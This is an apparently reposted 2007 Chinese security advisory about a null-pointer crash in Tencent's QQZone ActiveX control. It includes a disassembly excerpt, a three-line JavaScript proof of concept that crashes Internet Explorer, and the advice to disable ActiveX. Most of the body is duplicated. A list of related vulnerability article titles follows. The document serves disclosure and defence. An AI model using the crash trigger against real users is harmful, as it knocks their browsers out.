QQ又出新的漏洞
2007-06-18 16:05
274 查看
幻影旅团的刺发现了一个QQZone的activex漏洞.在使用WebCtrl.
方法时,将引用一个空指针,造成ie崩溃.由于该activex没有标记为safe,故会出现安全提示.
细节:
在TencentQQQZoneTWebCtrl.dll中,使用Navigate方法时,将造成一个空指针引用
051024C0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
051024C4 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
051024C8 6A 00 PUSH 0
051024CA 6A 00 PUSH 0
051024CC 8B80 B8000000 MOV EAX,DWORD PTR DS:[EAX+B8]
051024D2 6A 00 PUSH 0
051024D4 6A 00 PUSH 0
051024D6 52 PUSH EDX
051024D7 8B08 MOV ECX,DWORD PTR DS:[EAX]
此时EAX为null
幻影旅团将对此发布一个POC代码,请勿将此作为非法用途
POC:
>
var qqkcuf = new ActiveXObject("WebCtrl.TWebControl.1");
var arg1 = 0;
qqkcuf.Navigate(arg1);
建议:
禁止ie执行activex
厂商补丁:
目前厂商没有发布补丁
方法时,将引用一个空指针,造成ie崩溃.由于该activex没有标记为safe,故会出现安全提示.
细节:
在TencentQQQZoneTWebCtrl.dll中,使用Navigate方法时,将造成一个空指针引用
051024C0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
051024C4 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
051024C8 6A 00 PUSH 0
051024CA 6A 00 PUSH 0
051024CC 8B80 B8000000 MOV EAX,DWORD PTR DS:[EAX+B8]
051024D2 6A 00 PUSH 0
051024D4 6A 00 PUSH 0
051024D6 52 PUSH EDX
051024D7 8B08 MOV ECX,DWORD PTR DS:[EAX]
此时EAX为null
幻影旅团将对此发布一个POC代码,请勿将此作为非法用途
POC:
>
var qqkcuf = new ActiveXObject("WebCtrl.TWebControl.1");
var arg1 = 0;
qqkcuf.Navigate(arg1);
建议:
禁止ie执行activex
厂商补丁:
目前厂商没有发布补丁
相关文章推荐
- 骗子出新招利用银行存取款机漏洞
- QQ Traveler漏洞分析与利用
- QQ曝出高危漏洞 点聊天消息可格式化硬盘
- 简单漏洞QQ/TM2009 溢出漏洞
- ASP又出新漏洞(有办法看源代码了)
- 每个QQ都可领取30-100QB。 骗你小狗 utr7t(千万不要点进去,腾讯出漏洞了)
- QTabWidget 实现类似QQ聊天窗口(拖动分离出新的窗口)
- 迅雷5 ThunderAgent Module 远程拒绝服务漏洞 Tencent QQ 多个远程溢出漏洞
- 网络推广又出新招 手机QQ成新宠
- 漏洞无处不在之窃取你的QQ信息
- QQ跨站漏洞巧利用一例【强迫别人帮你买QQ秀】【应该以失效】
- 迎接2007元旦QQ漏洞(远程可执行)
- Tencent QQ 多个远程溢出漏洞
- QQ输入状态漏洞,让你的好友死在温柔的问候中[转]
- 漏洞大爆光:QQ漏洞、飞秋漏洞、360浏览器劫持…
- GO语言项目以太坊又出新漏洞以太币ETH惨遭洗劫
- QQDLL加载漏洞可能导致用户密码被窃取
- 实战揭露360和QQ医生系统漏洞检测真相!
- QQ场景漏洞初探及防范
- 惊!QQ新漏洞 腾讯3亿用户遭受威胁 附说明